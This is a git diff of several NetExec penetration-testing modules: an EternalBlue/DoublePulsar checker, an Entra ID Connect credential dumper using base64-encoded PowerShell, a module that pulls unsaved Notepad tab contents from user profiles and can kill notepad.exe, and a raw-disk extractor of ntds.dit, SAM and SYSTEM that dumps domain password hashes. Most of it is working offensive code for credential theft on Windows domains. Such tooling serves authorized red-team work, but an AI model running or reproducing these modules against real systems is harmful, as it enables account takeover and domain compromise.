content = conn.readFile(self.context.share, new_path)
|
||||
self.handle_confCons_file(content)
|
||||
|
||||
|
||||
def extract_remoteng_passwords(self, encrypted_password, encryption_attributes: MRemoteNgEncryptionAttributes):
|
||||
encrypted_password = b64decode(encrypted_password)
|
||||
if encrypted_password == b"":
|
||||
|
||||
+13
-24
@@ -31,19 +31,19 @@ class SmbHeader(Structure):
|
||||
]
|
||||
|
||||
def __init__(self, buffer):
|
||||
nxc_logger.debug("server_component : %04x" % self.server_component)
|
||||
nxc_logger.debug("smb_command : %01x" % self.smb_command)
|
||||
nxc_logger.debug("error_class : %01x" % self.error_class)
|
||||
nxc_logger.debug("error_code : %02x" % self.error_code)
|
||||
nxc_logger.debug("flags : %01x" % self.flags)
|
||||
nxc_logger.debug("flags2 : %02x" % self.flags2)
|
||||
nxc_logger.debug("process_id_high : %02x" % self.process_id_high)
|
||||
nxc_logger.debug("signature : %08x" % self.signature)
|
||||
nxc_logger.debug("reserved2 : %02x" % self.reserved2)
|
||||
nxc_logger.debug("tree_id : %02x" % self.tree_id)
|
||||
nxc_logger.debug("process_id : %02x" % self.process_id)
|
||||
nxc_logger.debug("user_id : %02x" % self.user_id)
|
||||
nxc_logger.debug("multiplex_id : %02x" % self.multiplex_id)
|
||||
nxc_logger.debug(f"server_component : {self.server_component:04x}")
|
||||
nxc_logger.debug(f"smb_command : {self.smb_command:01x}")
|
||||
nxc_logger.debug(f"error_class : {self.error_class:01x}")
|
||||
nxc_logger.debug(f"error_code : {self.error_code:02x}")
|
||||
nxc_logger.debug(f"flags : {self.flags:01x}")
|
||||
nxc_logger.debug(f"flags2 : {self.flags2:02x}")
|
||||
nxc_logger.debug(f"process_id_high : {self.process_id_high:02x}")
|
||||
nxc_logger.debug(f"signature : {self.signature:08x}")
|
||||
nxc_logger.debug(f"reserved2 : {self.reserved2:02x}")
|
||||
nxc_logger.debug(f"tree_id : {self.tree_id:02x}")
|
||||
nxc_logger.debug(f"process_id : {self.process_id:02x}")
|
||||
nxc_logger.debug(f"user_id : {self.user_id:02x}")
|
||||
nxc_logger.debug(f"multiplex_id : {self.multiplex_id:02x}")
|
||||
|
||||
def __new__(self, buffer=None):
|
||||
nxc_logger.debug(f"Creating SMB_HEADER object from buffer: {buffer}")
|
||||
@@ -54,8 +54,6 @@ class NXCModule:
|
||||
name = "ms17-010"
|
||||
description = "MS17-010 - EternalBlue - NOT TESTED OUTSIDE LAB ENVIRONMENT"
|
||||
supported_protocols = ["smb"]
|
||||
opsec_safe = True
|
||||
multiple_hosts = True
|
||||
|
||||
def options(self, context, module_options):
|
||||
""" """
|
||||
@@ -72,7 +70,6 @@ class NXCModule:
|
||||
if str(e) == "Buffer size too small (0 instead of at least 32 bytes)":
|
||||
context.log.debug("Buffer size too small, which means the response was not the expected size")
|
||||
|
||||
|
||||
def generate_smb_proto_payload(self, *protos):
|
||||
"""
|
||||
Flattens a nested list and merges all bytes objects into a single bytes object.
|
||||
@@ -98,7 +95,6 @@ class NXCModule:
|
||||
self.logger.debug(f"Packed proto data: {hex_data}")
|
||||
return hex_data
|
||||
|
||||
|
||||
def calculate_doublepulsar_xor_key(self, s):
|
||||
"""
|
||||
Calculate Doublepulsar Xor Key.
|
||||
@@ -115,8 +111,6 @@ class NXCModule:
|
||||
x = (2 * s ^ (((s & 0xff00 | (s << 16)) << 8) | (((s >> 16) | s & 0xff0000) >> 8)))
|
||||
return x & 0xffffffff # truncate to 32 bits
|
||||
|
||||
|
||||
|
||||
def negotiate_proto_request(self):
|
||||
"""Generate a negotiate_proto_request packet."""
|
||||
self.logger.debug("generate negotiate proto request")
|
||||
@@ -160,7 +154,6 @@ class NXCModule:
|
||||
# Return the generated SMB protocol payload
|
||||
return self.generate_smb_proto_payload(netbios, smb_header, negotiate_proto_request)
|
||||
|
||||
|
||||
def session_setup_andx_request(self):
|
||||
"""Generate session setup andx request."""
|
||||
self.logger.debug("generate session setup andx request"
|
||||
@@ -210,7 +203,6 @@ class NXCModule:
|
||||
|
||||
return self.generate_smb_proto_payload(netbios, smb_header, session_setup_andx_request)
|
||||
|
||||
|
||||
def tree_connect_andx_request(self, ip, userid):
|
||||
"""Generate tree connect andx request.
|
||||
|
||||
@@ -279,7 +271,6 @@ class NXCModule:
|
||||
# Generate the final SMB protocol payload
|
||||
return self.generate_smb_proto_payload(netbios, smb_header, tree_connect_andx_request)
|
||||
|
||||
|
||||
def peeknamedpipe_request(self, treeid, processid, userid, multiplex_id):
|
||||
"""
|
||||
Generate tran2 request.
|
||||
@@ -345,7 +336,6 @@ class NXCModule:
|
||||
|
||||
return self.generate_smb_proto_payload(netbios, smb_header, tran_request)
|
||||
|
||||
|
||||
def trans2_request(self, treeid, processid, userid, multiplex_id):
|
||||
"""Generate trans2 request.
|
||||
|
||||
@@ -409,7 +399,6 @@ class NXCModule:
|
||||
|
||||
return self.generate_smb_proto_payload(netbios, smb_header, trans2_request)
|
||||
|
||||
|
||||
def check(self, ip, port=445):
|
||||
"""Check if MS17_010 SMB Vulnerability exists.
|
||||
|
||||
|
||||
+29
-78
@@ -1,93 +1,44 @@
|
||||
# MSOL module for nxc
|
||||
# MSOL module for NetExec
|
||||
# Author of the module : https://twitter.com/Daahtk
|
||||
# Based on the article : https://blog.xpnsec.com/azuread-connect-for-redteam/
|
||||
from sys import exit
|
||||
from os import path
|
||||
from nxc.paths import TMP_PATH
|
||||
# Fully rewritten by @NeffIsBack
|
||||
from base64 import b64encode
|
||||
from nxc.helpers.powershell import get_ps_script
|
||||
|
||||
|
||||
class NXCModule:
|
||||
"""Module by @NeffIsBack"""
|
||||
name = "msol"
|
||||
description = "Dump MSOL cleartext password from the localDB on the Azure AD-Connect Server"
|
||||
description = "Dump MSOL cleartext password and Entra ID credentials from the localDB on the Entra ID Connect Server"
|
||||
supported_protocols = ["smb"]
|
||||
opsec_safe = True
|
||||
multiple_hosts = True
|
||||
|
||||
def __init__(self, context=None, module_options=None):
|
||||
self.use_embedded = None
|
||||
self.MSOL_PS1 = None
|
||||
self.msol_embedded = None
|
||||
self.cmd = None
|
||||
self.msolmdl = None
|
||||
self.msol = None
|
||||
self.tmp_share = None
|
||||
self.share = None
|
||||
self.tmp_dir = None
|
||||
self.context = context
|
||||
self.module_options = module_options
|
||||
def __init__(self):
|
||||
self.context = None
|
||||
self.module_options = None
|
||||
|
||||
self.entra_id_psscript = ""
|
||||
|
||||
with open(get_ps_script("msol_dump/entra-sync-creds.ps1")) as psFile:
|
||||
for line in psFile:
|
||||
if line.startswith("#") or line.strip() == "":
|
||||
continue
|
||||
else:
|
||||
self.entra_id_psscript += line.strip() + "\n"
|
||||
|
||||
def options(self, context, module_options):
|
||||
"""MSOL_PS1 // Path to the msol binary on your computer"""
|
||||
self.tmp_dir = "C:\\Windows\\Temp\\"
|
||||
self.share = "C$"
|
||||
self.tmp_share = self.tmp_dir.split(":")[1]
|
||||
self.msol = "msol.ps1"
|
||||
self.use_embedded = True
|
||||
self.msolmdl = self.cmd = ""
|
||||
|
||||
with open(get_ps_script("msol_dump/msol_dump.ps1")) as msolsc:
|
||||
self.msol_embedded = msolsc.read()
|
||||
|
||||
if "MSOL_PS1" in module_options:
|
||||
self.MSOL_PS1 = module_options["MSOL_PS1"]
|
||||
self.use_embedded = False
|
||||
|
||||
def exec_script(self, _, connection):
|
||||
command = f"C:\\windows\\system32\\WindowsPowershell\\v1.0\\powershell.exe {self.tmp_dir}msol.ps1"
|
||||
return connection.execute(command, True)
|
||||
"""No module options available."""
|
||||
|
||||
def on_admin_login(self, context, connection):
|
||||
if self.use_embedded:
|
||||
file_to_upload = f"{TMP_PATH}/msol.ps1"
|
||||
psScript_b64 = b64encode(self.entra_id_psscript.encode("UTF-16LE")).decode("utf-8")
|
||||
out = connection.execute(f"powershell.exe -e {psScript_b64} -OutputFormat Text", True)
|
||||
|
||||
try:
|
||||
with open(file_to_upload, "w") as msol:
|
||||
msol.write(self.msol_embedded)
|
||||
except FileNotFoundError:
|
||||
context.log.fail(f"Impersonate file specified '{file_to_upload}' does not exist!")
|
||||
exit(1)
|
||||
|
||||
else:
|
||||
if path.isfile(self.MSOL_PS1):
|
||||
file_to_upload = self.MSOL_PS1
|
||||
if "CLIXML" in out:
|
||||
out = out.split("CLIXML")[1].split("<Objs Version")[0]
|
||||
|
||||
for line in out.splitlines():
|
||||
if not line.strip():
|
||||
continue
|
||||
if "[!]" in line:
|
||||
context.log.fail(line.replace("[!]", "").strip())
|
||||
else:
|
||||
context.log.fail(f"Cannot open {self.MSOL_PS1}")
|
||||
exit(1)
|
||||
|
||||
context.log.display(f"Uploading {self.msol}")
|
||||
with open(file_to_upload, "rb") as msol:
|
||||
try:
|
||||
connection.conn.putFile(self.share, f"{self.tmp_share}{self.msol}", msol.read)
|
||||
context.log.success("Msol script successfully uploaded")
|
||||
except Exception as e:
|
||||
context.log.fail(f"Error writing file to share {self.tmp_share}: {e}")
|
||||
return
|
||||
try:
|
||||
if self.cmd == "":
|
||||
context.log.display("Executing the script")
|
||||
p = self.exec_script(context, connection)
|
||||
for line in p.splitlines():
|
||||
p1, p2 = line.split(" ", 1)
|
||||
context.log.highlight(f"{p1} {p2}")
|
||||
else:
|
||||
context.log.fail("Script Execution Impossible")
|
||||
|
||||
except Exception as e:
|
||||
context.log.fail(f"Error running command: {e}")
|
||||
finally:
|
||||
try:
|
||||
connection.conn.deleteFile(self.share, f"{self.tmp_share}{self.msol}")
|
||||
context.log.success("Msol script successfully deleted")
|
||||
except Exception as e:
|
||||
context.log.fail(f"[OPSEC] Error deleting msol script on {self.share}: {e}")
|
||||
context.log.highlight(line.strip())
|
||||
@@ -1,13 +1,12 @@
|
||||
import sys
|
||||
|
||||
|
||||
class NXCModule:
|
||||
"""Execute arbitrary SQL commands on the target MSSQL server"""
|
||||
|
||||
name = "mssql_coerce"
|
||||
description = "Execute arbitrary SQL commands on the target MSSQL server"
|
||||
supported_protocols = ["mssql"]
|
||||
opsec_safe = True
|
||||
multiple_hosts = True
|
||||
|
||||
def __init__(self):
|
||||
self.mssql_conn = None
|
||||
|
||||
@@ -23,8 +23,6 @@ class NXCModule:
|
||||
name = "mssql_priv"
|
||||
description = "Enumerate and exploit MSSQL privileges"
|
||||
supported_protocols = ["mssql"]
|
||||
opsec_safe = True
|
||||
multiple_hosts = True
|
||||
|
||||
def __init__(self):
|
||||
self.admin_privs = None
|
||||
@@ -300,9 +298,7 @@ class NXCModule:
|
||||
WHERE rp.name = 'db_owner' AND mp.name = SYSTEM_USER
|
||||
"""
|
||||
res = self.query_and_get_output(exec_as + query)
|
||||
if res and "database_role" in res[0] and res[0]["database_role"] == "db_owner":
|
||||
return True
|
||||
return False
|
||||
return bool(res and "database_role" in res[0] and res[0]["database_role"] == "db_owner")
|
||||
|
||||
def find_dbowner_priv(self, databases, exec_as="") -> list:
|
||||
"""
|
||||
|
||||
@@ -16,8 +16,6 @@ class NXCModule:
|
||||
name = "nanodump"
|
||||
description = "Get lsass dump using nanodump and parse the result with pypykatz"
|
||||
supported_protocols = ["smb", "mssql"]
|
||||
opsec_safe = False
|
||||
multiple_hosts = True
|
||||
|
||||
def __init__(self, context=None, module_options=None):
|
||||
self.connection = None
|
||||
|
||||
@@ -12,8 +12,6 @@ class NXCModule:
|
||||
name = "nopac"
|
||||
description = "Check if the DC is vulnerable to CVE-2021-42278 and CVE-2021-42287 to impersonate DA from standard domain user"
|
||||
supported_protocols = ["smb"]
|
||||
opsec_safe = True
|
||||
multiple_hosts = True
|
||||
|
||||
def options(self, context, module_options):
|
||||
""" """
|
||||
|
||||
@@ -11,8 +11,6 @@ class NXCModule:
|
||||
name = "notepad++"
|
||||
description = "Extracts notepad++ unsaved files."
|
||||
supported_protocols = ["smb"]
|
||||
opsec_safe = True
|
||||
multiple_hosts = True
|
||||
false_positive = [".", "..", "desktop.ini", "Public", "Default", "Default User", "All Users", ".NET v4.5", ".NET v4.5 Classic"]
|
||||
|
||||
def options(self, context, module_options):
|
||||
|
||||
@@ -0,0 +1,194 @@
|
||||
from io import BytesIO
|
||||
from os import makedirs
|
||||
from os.path import join, abspath
|
||||
import re
|
||||
import time
|
||||
from nxc.paths import NXC_PATH
|
||||
from impacket.smbconnection import SessionError
|
||||
|
||||
smb_error_status = [
|
||||
"STATUS_ACCOUNT_DISABLED",
|
||||
"STATUS_ACCOUNT_EXPIRED",
|
||||
"STATUS_ACCOUNT_RESTRICTION",
|
||||
"STATUS_INVALID_LOGON_HOURS",
|
||||
"STATUS_INVALID_WORKSTATION",
|
||||
"STATUS_LOGON_TYPE_NOT_GRANTED",
|
||||
"STATUS_PASSWORD_EXPIRED",
|
||||
"STATUS_PASSWORD_MUST_CHANGE",
|
||||
"STATUS_ACCESS_DENIED",
|
||||
"STATUS_NO_SUCH_FILE",
|
||||
"KDC_ERR_CLIENT_REVOKED",
|
||||
"KDC_ERR_PREAUTH_FAILED",
|
||||
]
|
||||
|
||||
|
||||
class NXCModule:
|
||||
# Extracts content from Windows Notepad binary tab state files
|
||||
# Module by @termanix
|
||||
name = "notepad"
|
||||
description = "Extracts content from Windows Notepad tab state binary files."
|
||||
supported_protocols = ["smb"]
|
||||
|
||||
def __init__(self, context=None):
|
||||
self.context = context
|
||||
self.false_positive = [".", "..", "desktop.ini", "Public", "Default", "Default User", "All Users", ".NET v4.5", ".NET v4.5 Classic"]
|
||||
self.FILE_PATH_REGEX = r"^[A-Za-z]:\\(?:[^<>:\"/\\|?*]+\\)*[^<>:\"/\\|?*]+\.[\w]{1,5}$"
|
||||
|
||||
def options(self, context, module_options):
|
||||
"""KILL // Kill for notepad.exe process. Default False."""
|
||||
if "KILL" not in module_options:
|
||||
self.kill = False
|
||||
else:
|
||||
self.kill = module_options["KILL"]
|
||||
|
||||
def extract_strings(self, data, min_length=4):
|
||||
"""Extract printable strings from binary data, similar to the strings command."""
|
||||
results = []
|
||||
|
||||
# ASCII strings extraction
|
||||
ascii_strings = re.findall(b"[ -~]{%d,}" % min_length, data)
|
||||
for s in ascii_strings:
|
||||
try:
|
||||
results.append(("ASCII", s.decode("ascii")))
|
||||
except Exception as e:
|
||||
self.context.log.fail(f"Failed extracting ASCII strings: {e}")
|
||||
|
||||
# UTF-16LE strings extraction (common in Windows)
|
||||
utf16_pattern = re.compile(b"(?:[\x20-\x7E]\x00){%d,}" % min_length)
|
||||
utf16_strings = utf16_pattern.findall(data)
|
||||
for s in utf16_strings:
|
||||
try:
|
||||
decoded = s.decode("utf-16-le")
|
||||
results.append(("UTF-16LE", decoded))
|
||||
except Exception as e:
|
||||
self.context.log.fail(f"Failed extracting UTF-16LE strings: {e}")
|
||||
|
||||
return results
|
||||
|
||||
def is_meaningful_content(self, string):
|
||||
"""Check if a string has meaningful content."""
|
||||
# Filter out strings that are just repetitions of the same character
|
||||
if len(set(string)) <= 2 and len(string) > 4:
|
||||
return False
|
||||
|
||||
# Filter out strings that don't have any letters or numbers
|
||||
if not any(c.isalnum() for c in string):
|
||||
return False
|
||||
|
||||
# Filter out strings that look like memory addresses or hex dumps
|
||||
if re.match(r"^[0-9A-F]+$", string) and len(string) >= 8:
|
||||
return False
|
||||
|
||||
# Filter out strings that are just whitespace or control characters
|
||||
if string.isspace():
|
||||
return False
|
||||
|
||||
# Filter out common binary file markers that aren't actual content
|
||||
common_garbage = ["NULL", "true", "false", "xmlns", "http://", "https://", "COM1", "COM2", "COM3"]
|
||||
return string not in common_garbage
|
||||
|
||||
def read_and_decode_file(self, connection, context, file_path, user):
|
||||
buf = BytesIO()
|
||||
try:
|
||||
connection.conn.getFile("C$", file_path, buf.write)
|
||||
except Exception as e:
|
||||
if "STATUS_SHARING_VIOLATION" in str(e): # It means notepad.exe is open on target.
|
||||
if self.kill:
|
||||
try:
|
||||
context.log.debug(f"Trying to kill notepad.exe process for {user} user.")
|
||||
# To Do: Kill process with RPC, connection.execute can be detect by EDRs and module wont work. Or copy the target bin files without trigger the EDRs
|
||||
connection.execute("taskkill /IM notepad.exe /F") # If notepad.exe open by user, needs to kill that process for reading files.
|
||||
time.sleep(1) # Sleep 1 sec for finding and reading processing
|
||||
context.log.debug(f"Notepad process was successfully killed for {user}")
|
||||
connection.conn.getFile("C$", file_path, buf.write)
|
||||
except Exception as e:
|
||||
context.log.debug(f"Alternative method failed: {e}")
|
||||
else:
|
||||
context.log.fail("Notepad.exe is open on target. If want to kill process, add kill option true. (-o KILL=True)")
|
||||
return []
|
||||
else:
|
||||
# If it's a different error, just skip this file
|
||||
context.log.debug(f"Error accessing {file_path}: {e}")
|
||||
|
||||
buf.seek(0)
|
||||
binary_data = buf.read()
|
||||
|
||||
# Return only the meaningful strings
|
||||
return [
|
||||
string for _, string in self.extract_strings(binary_data)
|
||||
if self.is_meaningful_content(string)
|
||||
]
|
||||
|
||||
def on_admin_login(self, context, connection):
|
||||
self.context = context
|
||||
context.log.display("Searching for Notepad cache...")
|
||||
for directory in connection.conn.listPath("C$", "Users\\*"):
|
||||
found = 0
|
||||
if directory.get_longname() in self.false_positive or not directory.is_directory():
|
||||
continue
|
||||
|
||||
# Path for Windows Notepad tab state files
|
||||
notepad_dir = f"Users\\{directory.get_longname()}\\AppData\\Local\\Packages\\Microsoft.WindowsNotepad_8wekyb3d8bbwe\\LocalState\\TabState\\"
|
||||
try:
|
||||
for file in connection.conn.listPath("C$", f"{notepad_dir}\\*"):
|
||||
if file.get_longname() not in self.false_positive and file.get_longname().endswith(".bin"):
|
||||
file_path = f"{notepad_dir}{file.get_longname()}"
|
||||
|
||||
# Read the binary file
|
||||
meaningful_strings = self.read_and_decode_file(connection, context, file_path, directory.get_longname())
|
||||
|
||||
if meaningful_strings:
|
||||
found += 1
|
||||
context.log.highlight(f"C:\\{file_path}")
|
||||
|
||||
# Output content
|
||||
content_lines = []
|
||||
|
||||
# First loop to handle meaningful strings
|
||||
for string in meaningful_strings:
|
||||
if bool(re.match(self.FILE_PATH_REGEX, string)): # Only needed if checking locally
|
||||
# Read the file into a buffer
|
||||
meaningful_strings = self.read_and_decode_file(connection, context, string[2:], directory.get_longname())
|
||||
|
||||
# Second loop to handle content inside the file
|
||||
for string in meaningful_strings:
|
||||
context.log.highlight(f"\t{string}")
|
||||
content_lines.append(string) # Store the string value only
|
||||
else:
|
||||
context.log.highlight(f"\t{string}")
|
||||
content_lines.append(string) # Store the string value only
|
||||
|
||||
# Save to file
|
||||
filename = f"{connection.host}_{directory.get_longname()}_notepad_tabstate_{found}.txt"
|
||||
export_path = join(NXC_PATH, "modules", "notepad")
|
||||
path = abspath(join(export_path, filename))
|
||||
makedirs(export_path, exist_ok=True)
|
||||
|
||||
with open(path, "w+") as output_file:
|
||||
output_file.write(f"Source: C:\\{file_path}\n\n")
|
||||
output_file.write("\n".join(content_lines)) # Write strings line by line
|
||||
context.log.success(f"Notepad tab state content written to: {path}")
|
||||
except SessionError as e:
|
||||
error = self.get_error_string(e)
|
||||
if error == "STATUS_OBJECT_NAME_NOT_FOUND" or error == "STATUS_OBJECT_PATH_NOT_FOUND":
|
||||
context.log.debug(f"Failed for user {directory.get_longname()}: {e}")
|
||||
else:
|
||||
context.log.fail(
|
||||
f"Error enumerating shares: {error}",
|
||||
color="magenta" if error in smb_error_status else "red",
|
||||
)
|
||||
if found == 0:
|
||||
context.log.info("No Notepad tab state files with meaningful content found")
|
||||
|
||||
def get_error_string(self, exception):
|
||||
if hasattr(exception, "getErrorString"):
|
||||
try:
|
||||
es = exception.getErrorString()
|
||||
except KeyError:
|
||||
return f"Could not get nt error code {exception.getErrorCode()} from impacket: {exception}"
|
||||
if type(es) is tuple:
|
||||
return es[0]
|
||||
else:
|
||||
return es
|
||||
else:
|
||||
return str(exception)
|
||||
@@ -0,0 +1,555 @@
|
||||
# raw-ntds-copy module for nxc
|
||||
# Author of the module : Bilal Github:@0xb11a1, X:@0xcc00
|
||||
|
||||
from base64 import b64decode, b64encode
|
||||
from os import makedirs
|
||||
from os.path import join, abspath
|
||||
from nxc.paths import TMP_PATH
|
||||
import struct
|
||||
from dataclasses import dataclass, field
|
||||
import random
|
||||
import gzip
|
||||
from io import BytesIO
|
||||
from impacket.examples.secretsdump import LocalOperations, NTDSHashes, SAMHashes
|
||||
from nxc.helpers.misc import validate_ntlm
|
||||
from nxc.helpers.powershell import get_ps_script
|
||||
|
||||
|
||||
class NXCModule:
|
||||
name = "ntds-dump-raw"
|
||||
description = "Extracting the ntds.dit, SAM, and SYSTEM files from DC by accessing the raw hard drive."
|
||||
supported_protocols = ["smb", "wmi", "winrm"]
|
||||
|
||||
files_full_location_to_extract = [
|
||||
"Windows/System32/config/SYSTEM",
|
||||
"Windows/System32/config/SAM",
|
||||
"Windows/NTDS/ntds.dit",
|
||||
]
|
||||
files_to_extract = [c_filename.split("/")[-1] for c_filename in files_full_location_to_extract]
|
||||
number_of_file_to_extract = len(files_to_extract)
|
||||
extracted_files_location_local = {"SAM": "", "SYSTEM": "", "ntds.dit": ""}
|
||||
NTFS_LOCATION = 0
|
||||
MFT_LOCATION = 0
|
||||
context = None
|
||||
connection = None
|
||||
GPT_HEADER_OFFSET = 512
|
||||
GPT_HEADER_SIZE = 92
|
||||
PARTITION_ENTRY_SIZE = 128
|
||||
NUM_PARTITION_ENTRIES = 128
|
||||
SECTOR_SIZE = 512
|
||||
CLUSTER_SIZE = 4096
|
||||
CHUNK_SIZE = 1024 * 1024 * 20 # chunk size of the file to retrive at a time
|
||||
MFT_local_path = ""
|
||||
MFT_local_size = 0
|
||||
db = None
|
||||
domain = None
|
||||
RANDOM_RUN_NUM = int(random.random() * 100000000)
|
||||
output_filename = ""
|
||||
ATTRIBUTE_NAMES = {
|
||||
0x10: "$STANDARD_INFORMATION",
|
||||
0x20: "$ATTRIBUTE_LIST",
|
||||
0x30: "$FILE_NAME",
|
||||
0x40: "$OBJECT_ID",
|
||||
0x50: "$SECURITY_DESCRIPTOR",
|
||||
0x60: "$VOLUME_NAME",
|
||||
0x70: "$VOLUME_INFORMATION",
|
||||
0x80: "$DATA",
|
||||
0x90: "$INDEX_ROOT",
|
||||
0xA0: "$INDEX_ALLOCATION",
|
||||
0xB0: "$BITMAP",
|
||||
0xC0: "$REPARSE_POINT",
|
||||
0xD0: "$EA_INFORMATION",
|
||||
0xE0: "$EA",
|
||||
0x100: "$LOGGED_UTILITY_STREAM",
|
||||
}
|
||||
|
||||
def __init__(self):
|
||||
ps_script = ""
|
||||
with open(get_ps_script("ntds-dump-raw/ntds-dump-raw.ps1")) as psFile:
|
||||
for line in psFile:
|
||||
if line.startswith("#") or line.strip() == "":
|
||||
continue
|
||||
else:
|
||||
ps_script += line.strip() + "\n"
|
||||
self.ps_script_b64 = b64encode(ps_script.encode("UTF-16LE")).decode("utf-8")
|
||||
|
||||
@dataclass
|
||||
class MFA_sector_properties:
|
||||
filename: str = ""
|
||||
dataRun: list = field(default_factory=list)
|
||||
size: int = 0
|
||||
parent_name: str = ""
|
||||
parent_record_number: int = 0
|
||||
full_path: str = ""
|
||||
|
||||
def options(self, context, module_options):
|
||||
"""No options available"""
|
||||
|
||||
def read_from_disk(self, offset, size):
|
||||
"""Get the raw content of the disk based on the specified offset and size by executing PowerShell code on the remote target"""
|
||||
fixed_size = size // 512 + 512 if size % 512 != 0 else size
|
||||
# scary base64 powershell code :)
|
||||
# This to read the PhysicalDrive0 file
|
||||
get_data_script = f"""powershell.exe -c "$base64Cmd = '{self.ps_script_b64}';$decodedCmd = [Text.Encoding]::Unicode.GetString([Convert]::FromBase64String($base64Cmd)) + '; read_disk {offset} {fixed_size}'; Invoke-Expression $decodedCmd" """
|
||||
if self.connection.__class__.__name__ == "wmi": # noqa: SIM108
|
||||
data_output = self.connection.execute_psh(get_data_script, True)
|
||||
else:
|
||||
data_output = self.execute(get_data_script, True)
|
||||
self.logger.debug(f"{offset=},{size=},{fixed_size=}")
|
||||
compressed_bytes = b64decode(data_output)[:size]
|
||||
compressed_stream = BytesIO(compressed_bytes)
|
||||
|
||||
with gzip.GzipFile(fileobj=compressed_stream, mode="rb") as gzip_file:
|
||||
decompressed_bytes = gzip_file.read()
|
||||
|
||||
return decompressed_bytes[:size]
|
||||
|
||||
def on_admin_login(self, context, connection):
|
||||
self.host = connection.host
|
||||
self.connection = connection
|
||||
self.logger = context.log
|
||||
self.execute = connection.execute
|
||||
self.db = connection.db
|
||||
self.domain = connection.domain
|
||||
self.output_filename = connection.output_file_template.format(output_folder="ntds")
|
||||
self.main()
|
||||
|
||||
def main(self):
|
||||
first_section = self.read_from_disk(0, 1024)
|
||||
if len(first_section) == 0:
|
||||
self.logger.fail("Unable to read the Disk, try changing the --exec-method flag")
|
||||
if first_section[512 : 512 + 8] == b"EFI PART":
|
||||
self.logger.display("Disk is formated using GPT")
|
||||
NTFS_LOCATION = self.analyze_gpt("\\\\.\\PhysicalDrive0")
|
||||
if NTFS_LOCATION == -1:
|
||||
self.logger.fail("[-] NTFS Basic data partition not found ")
|
||||
else:
|
||||
self.logger.display("Disk is formated using MBR")
|
||||
max_parition_size = 0
|
||||
NTFS_LOCATION = self.bytes_to_int_unsigned(first_section[0x1C6:0x1CA]) * self.SECTOR_SIZE
|
||||
for partition_indx in range(4):
|
||||
curr_partition_size = self.bytes_to_int_unsigned(first_section[0x1CA + (partition_indx * 0x10) : 0x1CE + (partition_indx * 0x10)])
|
||||
if curr_partition_size > max_parition_size:
|
||||
max_parition_size = curr_partition_size
|
||||
NTFS_LOCATION = self.bytes_to_int_unsigned(first_section[0x1C6 + (partition_indx * 0x10) : 0x1CA + (partition_indx * 0x10)]) * self.SECTOR_SIZE
|
||||
|
||||
self.logger.display(f"NTFS Location {hex(NTFS_LOCATION)}")
|
||||
self.NTFS_LOCATION = NTFS_LOCATION
|
||||
NTFS_header = self.read_from_disk(NTFS_LOCATION, 1024)
|
||||
|
||||
self.analyze_NTFS(NTFS_header)
|
||||
self.logger.display(f"MFT location {hex(self.MFT_LOCATION)}, Cluster_size {self.CLUSTER_SIZE}")
|
||||
|
||||
MFT_file_header_data = self.read_from_disk(self.MFT_LOCATION, 1024)
|
||||
MFT_file_header = self.analyze_MFT_header(MFT_file_header_data)
|
||||
|
||||
self.logger.highlight("[+] This may take a while, perfect time to grab a coffee! c[_] ")
|
||||
|
||||
self.read_MFT(MFT_file_header)
|
||||
|
||||
if self.number_of_file_to_extract != 0:
|
||||
self.logger.fail("Unable to find all needed files")
|
||||
return
|
||||
|
||||
self.logger.success("Heads up, hashes on the way...")
|
||||
self.dump_ntds()
|
||||
|
||||
def dump_ntds(self):
|
||||
"""Dumping NTDS and SAM hashes locally from the extracted files"""
|
||||
# Mostly from nxc/modules/ntdsutil.py
|
||||
local_operations = LocalOperations(self.extracted_files_location_local["SYSTEM"])
|
||||
boot_key = local_operations.getBootKey()
|
||||
no_lm_hash = local_operations.checkNoLMHashPolicy()
|
||||
|
||||
# SAM hashes
|
||||
def add_SAM_hash(SAM_hash, host_id):
|
||||
"""Extract SAM hashes"""
|
||||
add_SAM_hash.SAM_hashes += 1
|
||||
SAM_hash = SAM_hash.split(" ")[0]
|
||||
self.logger.highlight(SAM_hash)
|
||||
if SAM_hash.find("$") == -1:
|
||||
if SAM_hash.find("\\") != -1:
|
||||
domain, clean_hash = SAM_hash.split("\\")
|
||||
else:
|
||||
domain = self.domain
|
||||
clean_hash = SAM_hash
|
||||
|
||||
try:
|
||||
username, _, lmhash, nthash, _, _, _ = clean_hash.split(":")
|
||||
parsed_hash = f"{lmhash}:{nthash}"
|
||||
if validate_ntlm(parsed_hash):
|
||||
self.db.add_credential("hash", domain, username, parsed_hash, pillaged_from=host_id)
|
||||
add_SAM_hash.added_to_db += 1
|
||||
return
|
||||
raise
|
||||
except Exception:
|
||||
self.logger.debug("Dumped hash is not NTLM, not adding to db for now ;)")
|
||||
else:
|
||||
self.logger.debug("Dumped hash is a computer account, not adding to db")
|
||||
|
||||
add_SAM_hash.SAM_hashes = 0
|
||||
add_SAM_hash.added_to_db = 0
|
||||
|
||||
SAM = SAMHashes(
|
||||
self.extracted_files_location_local["SAM"],
|
||||
boot_key,
|
||||
isRemote=False,
|
||||
perSecretCallback=lambda secret: add_SAM_hash(secret, self.host),
|
||||
)
|
||||
|
||||
# NTDS
|
||||
def add_ntds_hash(ntds_hash, host_id):
|
||||
"""Extract NTDS hashes"""
|
||||
add_ntds_hash.ntds_hashes += 1
|
||||
ntds_hash = ntds_hash.split(" ")[0]
|
||||
self.logger.highlight(ntds_hash)
|
||||
if ntds_hash.find("$") == -1:
|
||||
if ntds_hash.find("\\") != -1:
|
||||
domain, clean_hash = ntds_hash.split("\\")
|
||||
else:
|
||||
domain = self.domain
|
||||
clean_hash = ntds_hash
|
||||
|
||||
try:
|
||||
username, _, lmhash, nthash, _, _, _ = clean_hash.split(":")
|
||||
parsed_hash = f"{lmhash}:{nthash}"
|
||||
if validate_ntlm(parsed_hash):
|
||||
self.db.add_credential("hash", domain, username, parsed_hash, pillaged_from=host_id)
|
||||
add_ntds_hash.added_to_db += 1
|
||||
return
|
||||
raise
|
||||
except Exception:
|
||||
self.logger.debug("Dumped hash is not NTLM, not adding to db for now ;)")
|
||||
else:
|
||||
self.logger.debug("Dumped hash is a computer account, not adding to db")
|
||||
|
||||
add_ntds_hash.ntds_hashes = 0
|
||||
add_ntds_hash.added_to_db = 0
|
||||
|
||||
# NTDS hashes
|
||||
NTDS = NTDSHashes(
|
||||
self.extracted_files_location_local["ntds.dit"],
|
||||
boot_key,
|
||||
isRemote=False,
|
||||
history=False,
|
||||
noLMHash=no_lm_hash,
|
||||
remoteOps=None,
|
||||
useVSSMethod=True,
|
||||
justNTLM=True,
|
||||
pwdLastSet=False,
|
||||
resumeSession=None,
|
||||
outputFileName=self.output_filename,
|
||||
